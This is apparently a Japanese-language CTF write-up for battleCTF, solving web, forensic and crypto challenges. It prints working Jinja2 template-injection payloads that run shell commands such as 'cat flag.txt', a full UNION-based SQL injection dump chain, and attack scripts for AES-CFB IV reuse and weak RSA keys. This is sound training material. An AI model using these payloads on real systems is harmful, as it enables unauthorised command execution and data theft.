■http://chall.battlectf.online:8085/?capital={{config}} <Config {'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}> ■http://chall.battlectf.online:8085/?capital={{request.application.__globals__.__builtins__.__import__('os').popen('ls -lah').read()}} total 24K drwxr-xr-x 1 root root 4.0K Jun 8 09:02 . drwxr-xr-x 1 root root 4.0K Jun 8 09:02 .. -rw-r--r-- 1 root root 2.1K Jun 6 14:53 app.py -rw-r--r-- 1 root root 39 Jun 6 14:53 flag.txt -rw-r--r-- 1 root root 6 Jun 6 14:53 requirements.txt drwxr-xr-x 2 root root 4.0K Jun 8 09:02 static ■http://chall.battlectf.online:8085/?capital={{request.application.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read()}} battleCTF{wahala_1nj3ction_in_country}
battleCTF{wahala_1nj3ction_in_country}
Hebiosso injection (Web 250)
SQLインジェクション。いろいろ入力してデータを取り出す。
■AA' union select 1,2,3,4,5 -- - Name Country Genre Birth Year 2 3 4 5 ■AA' union select 1,schema_name,3,4,5 from information_schema.schemata -- - Name Country Genre Birth Year information_schema 3 4 5 hebiosso 3 4 5 ■AA' union select 1,table_name,3,4,5 from information_schema.tables where table_schema='hebiosso' -- - Name Country Genre Birth Year flag_6470e394cbf6dab6a91682cc8585059b 3 4 5 african_musician 3 4 5 ■AA' union select 1,column_name,3,4,5 from information_schema.columns where table_name='flag_6470e394cbf6dab6a91682cc8585059b' -- - Name Country Genre Birth Year flag 3 4 5 ■AA' union select 1,flag,3,4,5 from flag_6470e394cbf6dab6a91682cc8585059b -- - Name Country Genre Birth Year battleCTF{Like_based_SQLi_Fu_0af52e4e8696a3dffe7eea367eeb277d} 3 4 5
battleCTF{Like_based_SQLi_Fu_0af52e4e8696a3dffe7eea367eeb277d}
Thumb (Forensic 100)
$ exiftool file.jpeg ExifTool Version Number : 12.57 File Name : file.jpeg Directory : . File Size : 60 kB File Modification Date/Time : 2023:06:24 09:12:07+09:00 File Access Date/Time : 2023:06:24 09:13:03+09:00 File Inode Change Date/Time : 2023:06:24 09:12:07+09:00 File Permissions : -rwxrwx--- File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg JFIF Version : 1.01 Exif Byte Order : Big-endian (Motorola, MM) X Resolution : 1 Y Resolution : 1 Resolution Unit : None Y Cb Cr Positioning : Centered Compression : JPEG (old-style) Thumbnail Offset : 202 Thumbnail Length : 34608 Comment : CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90. Image Width : 540 Image Height : 350 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1) Image Size : 540x350 Megapixels : 0.189 Thumbnail Image : (Binary data 34608 bytes, use -b option to extract)
Thumbnailを抽出する。
$ exiftool file.jpeg -b > thumbnail.jpg
thumbnail.jpgのヘッダ部のごみを削除する。
QRコードの画像になっているので、読み取る。
battleCTF{3XP3C71N6_7HUM8N411_70_83 _41W4Y5_83_H1DD3N}
Find Me (Forensic 100)
httpでフィルタリングする。No.105パケットでPOSTしているデータに以下がある。
Form item: "userid" = "hardawayn" Form item: "pswrd" = "UEFwZHNqUlRhZQ=="
このパスワードをbase64デコードする。
$ echo UEFwZHNqUlRhZQ== | base64 -d PApdsjRTae
battleCTF{PApdsjRTae}
Africa Beauty (Forensic 100)
EXIFを見て、以下の形式で答える。
battleCTF{Make_Camera Model_Front/Back_Country_City}
$ exiftool PXL_20230525_111912557.jpg : : Exif Byte Order : Little-endian (Intel, II) Make : Google★ Camera Model Name : Pixel 4 XL★ Orientation : Horizontal (normal) X Resolution : 72 Y Resolution : 72 Resolution Unit : inches : : Focal Length In 35mm Format : 27 mm Scene Capture Type : Standard Contrast : Normal Saturation : Normal Sharpness : Normal Subject Distance Range : Distant Lens Make : Google Lens Model : Pixel 4 XL back camera 4.38mm f/1.73★ Composite Image : Composite Image Captured While Shooting GPS Latitude Ref : North GPS Longitude Ref : East GPS Altitude Ref : Above Sea Level GPS Time Stamp : 11:18:53 GPS Img Direction Ref : Magnetic North GPS Img Direction : 92 GPS Date Stamp : 2023:05:25 : : Create Date : 2023:05:25 12:19:12.557+01:00 Date/Time Original : 2023:05:25 12:19:12.557+01:00 Modify Date : 2023:05:25 12:19:12.557+01:00 Thumbnail Image : (Binary data 32958 bytes, use -b option to extract) GPS Altitude : 26.2 m Above Sea Level GPS Date/Time : 2023:05:25 11:18:53Z GPS Latitude : 6 deg 20' 59.76" N★ GPS Longitude : 2 deg 24' 48.96" E★ Circle Of Confusion : 0.005 mm Depth Of Field : inf (1.86 m - inf) Field Of View : 67.4 deg Focal Length : 4.4 mm (35 mm equivalent: 27.0 mm) GPS Position : 6 deg 20' 59.76" N, 2 deg 24' 48.96" E Hyperfocal Distance : 2.28 m Light Value : 14.2 Lens ID : Pixel 4 XL back camera 4.38mm f/1.73
以下の緯度・経度から場所を調べる。
6°20'59.76"N 2°24'48.96"E
該当する場所は以下の通り。
Boulevard de la Marina, Cotonou, Benin
battleCTF{Google_Pixel4XL_Back_Benin_Cotonou}
Minon (Forensic 150)
以下の形式で答える必要がある。
battleCTF{StatueName_Height_Envelope_Weight_InaugurationDate_PhotoDatetime}
EXIFを見て、撮影場所を確認する。
$ exiftool PXL_20230525_110935905.jpg ExifTool Version Number : 12.57 File Name : PXL_20230525_110935905.jpg Directory : . File Size : 1550 kB File Modification Date/Time : 2023:05:25 23:38:13+09:00 File Access Date/Time : 2023:06:24 12:10:34+09:00 File Inode Change Date/Time : 2023:06:24 12:10:01+09:00 : : GPS Altitude : 25.7 m Above Sea Level GPS Date/Time : 2023:05:25 11:08:36Z GPS Latitude : 6 deg 20' 58.03" N GPS Longitude : 2 deg 24' 28.20" E Circle Of Confusion : 0.005 mm Depth Of Field : inf (2.28 m - inf) Field Of View : 67.4 deg Focal Length : 4.4 mm (35 mm equivalent: 27.0 mm) GPS Position : 6 deg 20' 58.03" N, 2 deg 24' 28.20" E Hyperfocal Distance : 2.28 m Light Value : 14.5 Lens ID : Pixel 4 XL back camera 4.38mm f/1.73
以下の緯度・経度から場所を調べる。
6°20'58.03"N 2°24'28.20"E
地名とStatueで調べる。検索キーワードは「Haie Vive, Cotonou, Benin Statue」。以下のページなどで情報が見つかる。
https://fr.wikipedia.org/wiki/Monument_Amazone
battleCTF{MonumentAmazone_30_Bronze_150_30/07/2022_2023/05/25:12:09:35}
GIFt (Forensic 300)
GIFの先頭4バイトが欠けているので、先頭に"GIF8"を入れる。GIFとして認識できるようになる。
アニメーションGIFになっているので、各フレームの文字列を書き出す。
1: the flag is 2: ZmxhZ3tn 3: MWZfb3 4: JfajFmfQ== 5: DECODE IT
2~4フレームの文字列を連結し、base64デコードする。
$ echo ZmxhZ3tnMWZfb3JfajFmfQ== | base64 -d flag{g1f_or_j1f}
battleCTF{g1f_or_j1f}
TorrentVerse (Forensic 300)
ファイルのハッシュ値がinfo_hashで示されているはず。さらに192.168.73.132にダウンロードされるようなので、以下でフィルタリングする。
bt-dht.bencoded.string contains info_hash and ip.src == 192.168.73.132
info_hashの値は e2467cbf021192c241367b892230dc1e05c0580e であることがわかる。Googleでこのハッシュ値を検索すると、以下のファイルのものであることがわかる。
ubuntu-19.10-desktop-amd64.iso ||< >| <b>battleCTF{ubuntu-19.10-desktop-amd64.iso}</b> |< * Back To Origin (Crypto 100) 問題はこの画像。 [f:id:satou-y:20230628091734p:plain] 画像検索すると、以下にアルファベットとの対応表があった。 >|| https://www.pinterest.jp/pin/599049187904593215/
この対応表を元に復号すると、以下のどちらか。
afrekafamely afrexafamely
英単語にならない。どうやら発音で対応しているらしい。英単語になるようにし、大文字で答える必要があるので、そのように変換する。
battleCTF{AFRICAFAMILY}
Blind (Crypto 100)
CyberChefでMagicを使ってデコードする。
⠃⠁⠞⠞⠇⠑⠉⠞⠋{⠺⠓⠽⠸⠙⠴⠝⠶⠸⠦⠂⠂⠝⠙⠸⠏⠒⠴⠏⠂⠒⠸⠢⠅⠽⠙⠂⠧⠒⠸⠝⠴⠸⠦⠗⠲⠂⠂⠂⠒⠸⠂⠝⠢⠶⠗⠥⠉⠶⠂⠴⠝⠢}
この点字をhttps://www.brailletranslator.org/でデコードし、{}の中を大文字にする。
battleCTF{WHY_D0N7_811ND_P30P13_5KYD1V3_N0_8R41113_1N57RUC710N5}
ROCYOU (Crypto 150)
ROCAの問題。necaを使ってnを素因数分解する。
$ ./neca 14558732569295568217680262946946350946269492093750369718350618000766298342508431492935822827678025952146979183716519987777790434353113812051439651306232101 NECA - Not Even Coppersmith's Attack ROCA weak RSA key attack by Jannis Harder (me@jix.one) *** Currently only 512-bit keys are supported *** N = 14558732569295568217680262946946350946269492093750369718350618000766298342508431492935822827678025952146979183716519987777790434353113812051439651306232101 Factoring... [=================== ] 77.01% elapsed: 1843s left: 550.11s total: 2393.16s Factorization found: N = 127801155916875524149457561567678575565270601000365665873572024750823913157383 * 113917064871970833547038329106470040388258358281464605006613652518914797349747
あとは通常通り復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * n = 14558732569295568217680262946946350946269492093750369718350618000766298342508431492935822827678025952146979183716519987777790434353113812051439651306232101 e = 65537 c = 10924637845512114669339598787759482373871484619074241479073765261738618851409833137908272858354441670603598700617114497065118363300675413269144392865493504 p = 127801155916875524149457561567678575565270601000365665873572024750823913157383 q = 113917064871970833547038329106470040388258358281464605006613652518914797349747 phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m).decode() print(flag)
battleCTF{ROCA_shork_me_0x0x0x}
Gooss (Crypto 200)
flagの先頭が'battle'から始まることから方程式を解き、a, b, c, d, eを求める。あとは1文字ずつブルートフォースで復号する。
#!/usr/bin/env python3 import sympy enc = [1245115057305148164, 1195140205147730541, 2441940832124642988, 2441940832124642988, 1835524676869638124, 1404473868033353193, 272777109172255911, 672752034376118188, 324890781330979572, 3086023531811583439, 475309634185807521, 1195140205147730541, 2441940832124642988, 1578661367846445708, 2358921859155462327, 1099718459319293547, 773945458916291731, 78288818574073053, 2441940832124642988, 1578661367846445708, 1099718459319293547, 343816904985468003, 1195140205147730541, 2527132076695959961, 2358921859155462327, 2358921859155462327, 1099718459319293547, 72109063929756364, 2796116718132693772, 72109063929756364, 2796116718132693772, 72109063929756364, 2796116718132693772, 3291439457645322417] a = sympy.Symbol('a') b = sympy.Symbol('b') c = sympy.Symbol('c') d = sympy.Symbol('d') e = sympy.Symbol('e') flag_head = 'battle' eq_list = [] for i in range(6): code = ord(flag_head[i]) if i == 3: continue eq = 2 * a * pow(code, 4) + b * pow(code, 3) + c * pow(code, 2) \ + d * code + e - enc[i] eq_list.append(eq) ans = sympy.solve(eq_list) a = ans[a] b = ans[b] c = ans[c] d = ans[d] e = ans[e] flag = '' for i in range(len(enc)): for code in range(32, 127): res = 2 * a * pow(code, 4) + b * pow(code, 3) + c * pow(code, 2) \ + d * code + e if res == enc[i]: flag += chr(code) break print(flag)
battleCTF{Maths_W1th_Gauss_0x0x0x}
SEA (Crypto 300)
AESのCFBモードで暗号化される。最初にFLAGの暗号化が16進数表記で表示される。
同じIVを使用しているので、1バイト目は平文と暗号のXORが必ず同じになる。
2バイト目は1バイト目の平文が同じであれば、2バイト目の平文と暗号のXORが必ず同じになる。
この原理を繰り返し、1バイトずつフラグを求める。
#!/usr/bin/env python3 import socket def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('chall.battlectf.online', 20001)) data = recvuntil(s, b'\n').rstrip() print(data) enc_flag = bytes.fromhex(data) flag = '' for i in range(len(enc_flag)): try_pt = flag + 'A' data = recvuntil(s, b'> ') print(data + try_pt) s.sendall(try_pt.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) try_ct = bytes.fromhex(data)[i] key = try_ct ^ ord('A') flag += chr(enc_flag[i] ^ key) if flag[-1] == '}': break print(flag)
実行結果は以下の通り。
c8ed4b0604376d7e047964715516aa8ec079a0fab561a9fca0712fab8c3027177a72e58280a997ed014a16624bf3d3b3 > A eb049d6352ecf2c5a696a77e400a9fb7 > bA c8cd209bf695e3c15b5d5e94e6891e3f > baA c8ed7ec8195a76edc5cbdd98fad97151 > batA c8ed4b33cdbcc8fb63680f2c0d91d1fa > battA c8ed4b0629ec6ac49dde8a273c4f2efc > battlA c8ed4b060413e279e28e947a7da4ebd4 > battleA c8ed4b0604376f2a97c7f999a730d29e > battleCA c8ed4b0604376d6bc1209b699c19182e > battleCTA c8ed4b0604376d7e0301488995af72de > battleCTFA c8ed4b0604376d7e044348bf39bc38bf > battleCTF{A c8ed4b0604376d7e047948222ce06371 > battleCTF{mA c8ed4b0604376d7e04796400e7e94631 > battleCTF{m0A c8ed4b0604376d7e0479647121ceff1d > battleCTF{m05A c8ed4b0604376d7e0479647155609a63 > battleCTF{m057A c8ed4b0604376d7e047964715516b48f > battleCTF{m057_A c8ed4b0604376d7e047964715516aaa92510e9f40de38199ddc542ac1f4c7d69 > battleCTF{m057_fA c8ed4b0604376d7e047964715516aa8eb596c639c6fe205771c398f8d2a5cfb2 > battleCTF{m057_f4A c8ed4b0604376d7e047964715516aa8ec055c44852144305bd44d8f349c195d0 > battleCTF{m057_f4mA c8ed4b0604376d7e047964715516aa8ec079d1a94bf0559cf7e24569b7f4a967 > battleCTF{m057_f4m0A c8ed4b0604376d7e047964715516aa8ec079a0ce04ec5f9ac9f44e9966288c71 > battleCTF{m057_f4m0uA c8ed4b0604376d7e047964715516aa8ec079a0fa8770b5828edce3f617a12b00 > battleCTF{m057_f4m0usA c8ed4b0604376d7e047964715516aa8ec079a0fab57f67b1dbb4e167c3d71621 > battleCTF{m057_f4m0us_A c8ed4b0604376d7e047964715516aa8ec079a0fab561a9b05f2c346f2db41087 > battleCTF{m057_f4m0us_AA c8ed4b0604376d7e047964715516aa8ec079a0fab561a9f8d90c0ec3637659d7 > battleCTF{m057_f4m0us_AEA c8ed4b0604376d7e047964715516aa8ec079a0fab561a9fcb2c9850975fb8410 > battleCTF{m057_f4m0us_AESA c8ed4b0604376d7e047964715516aa8ec079a0fab561a9fca06f7a6c86fad4a5 > battleCTF{m057_f4m0us_AES_A c8ed4b0604376d7e047964715516aa8ec079a0fab561a9fca0715e0fd49aa850 > battleCTF{m057_f4m0us_AES_0A c8ed4b0604376d7e047964715516aa8ec079a0fab561a9fca0712f92856ad3f1 > battleCTF{m057_f4m0us_AES_0xA c8ed4b0604376d7e047964715516aa8ec079a0fab561a9fca0712fabfd621883 > battleCTF{m057_f4m0us_AES_0x0A c8ed4b0604376d7e047964715516aa8ec079a0fab561a9fca0712fab8c092f2b > battleCTF{m057_f4m0us_AES_0x0xA c8ed4b0604376d7e047964715516aa8ec079a0fab561a9fca0712fab8c3056ae > battleCTF{m057_f4m0us_AES_0x0x0A c8ed4b0604376d7e047964715516aa8ec079a0fab561a9fca0712fab8c30272ed23b6089f65d8386a4727750818f1109 > battleCTF{m057_f4m0us_AES_0x0x0xA c8ed4b0604376d7e047964715516aa8ec079a0fab561a9fca0712fab8c30271746b2ac811665bcdccb794226f76c1386 battleCTF{m057_f4m0us_AES_0x0x0x}
battleCTF{m057_f4m0us_AES_0x0x0x}
Sahara (Crypto 400)
nを素因数分解すると、nはp**2で表せることがわかる。
p = 133150398268195275743440564494273922289580211854275732500110288734747827954102678337833707292013932698242219254622842845639915924282608624204786786392336964091586374322686524012967082822794190857146515192578928726013025527238404636134021379501081455477264698849928505026780491785694428836269895358616314275861
あとは通常通り復号する。
#!/usr/bin/env python3 from Crypto.PublicKey import RSA from Crypto.Util.number import * from base64 import b64decode with open('pub.pem', 'r') as f: pub_data = f.read() pubkey = RSA.importKey(pub_data) n = pubkey.n e = pubkey.e p = 133150398268195275743440564494273922289580211854275732500110288734747827954102678337833707292013932698242219254622842845639915924282608624204786786392336964091586374322686524012967082822794190857146515192578928726013025527238404636134021379501081455477264698849928505026780491785694428836269895358616314275861 assert p**2 == n phi = p * (p - 1) d = inverse(e, phi) with open('flag.enc', 'rb') as f: enc_flag = b64decode(f.read()) c = bytes_to_long(enc_flag) m = pow(c, d, n) dec_flag = long_to_bytes(m) flag = dec_flag.split(b'\x00')[-1].decode() print(flag)
復号結果は以下の通り。
FLAG: battleCTF{Sm4!!_RSA_k3y_in_The_Sahara}
battleCTF{Sm4!!_RSA_k3y_in_The_Sahara}